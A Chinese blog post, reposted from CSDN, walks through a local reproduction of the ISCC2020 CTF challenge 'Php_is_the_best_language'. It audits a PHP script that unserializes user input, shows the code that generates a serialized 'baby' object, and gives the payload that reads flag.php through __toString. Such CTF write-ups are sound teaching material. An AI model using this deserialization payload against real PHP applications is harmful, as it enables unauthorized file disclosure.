Php_is_the_best_language-[ISCC2020]-[本地复现]

本文阅读 2 分钟
首页 代码,C/C#/C++ 正文

1.Php_is_the_best_language-[ISCC2020]-[本地复现]

第一步:代码审计

<?php
@error_reporting(1);                //运行时遇到致命的错误,停止执行脚本
include 'flag.php';                    //提示当前目录下有一个flag.php
class baby                            //类:baby
{                            
    public $file;                    //公有属性:$file
    function __toString()            //魔术方法__toString():xxxxxxxxxx
    {
        if(isset($this->file))        //判断$file属性是否为已设置且不为NULL
        {
            $filename = "./{$this->file}";    //拼接到当前目录下
            if (base64_encode(file_get_contents($filename)))    //如果可以进行该操作
            {
                return base64_encode(file_get_contents($filename));        //返回该值
            }
        }
    }
}


if (isset($_GET['data']))            //判断后台是否以GET形式收到了data参数的值,且不为NULL
{
    $data = $_GET['data'];            //赋值
        $good = unserialize($data);    //反序列化
        echo $good;                    //打印反序列化内容
}else
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

第二步:思路

想要flag,就要执行baby类的__toString()魔术方法,且该类的$file属性的值为flag.php
想要执行baby类的__toString()魔术方法,就要让该类的实例化对象被当作字符串操作
很明显,我们传入的data参数的值,经过反序列化后,会被当作字符串进行打印输出
所以:只要我们能实例化baby类,且$file属性为flag.php,进行反序列化,传入即可

第三步:编写代码,生成payload

<?php
@error_reporting(1);
include 'flag.php';
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}

$chen = new baby();
$chen->file = 'flag.php';
$chen = serialize($chen);
echo $chen."<br />";
//O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

payload:

?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

第四步:提交payload,base64解码,获取flag

(1)提交payload,获得base64编码后的flag.php页面内容

图略

(2)base64解码,获得flag:

$flag = “flag{this_is_test!!!}”;

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109957829
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复